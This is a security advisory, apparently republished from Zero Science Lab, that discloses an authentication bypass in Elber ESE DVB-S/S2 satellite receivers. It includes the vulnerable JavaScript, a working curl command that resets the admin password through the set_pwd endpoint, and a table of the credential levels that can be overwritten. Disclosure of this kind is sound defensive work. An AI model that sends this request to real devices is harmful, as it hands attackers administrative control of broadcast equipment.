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Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass
Posted Apr 18, 2024
Authored by LiquidWorm | Site zeroscience.mk

Elber ESE DVB-S/S2 Satellite Receiver version 1.5.x suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device's system security.

tags | exploit, bypass
SHA-256 | 83741fb5f4f7b681078f0f0aabdad5e51a82d40ac4c86d1cf8609032649927cb

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

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Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
1.5.56 Revision 884
1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
53: function(data){
54: //$.alert({title:'Operation',text:data});
55: show_message(data);
56: }).fail(function(error){
57: show_message('Error ' + error.status, 'error');
58: });
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5820
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)
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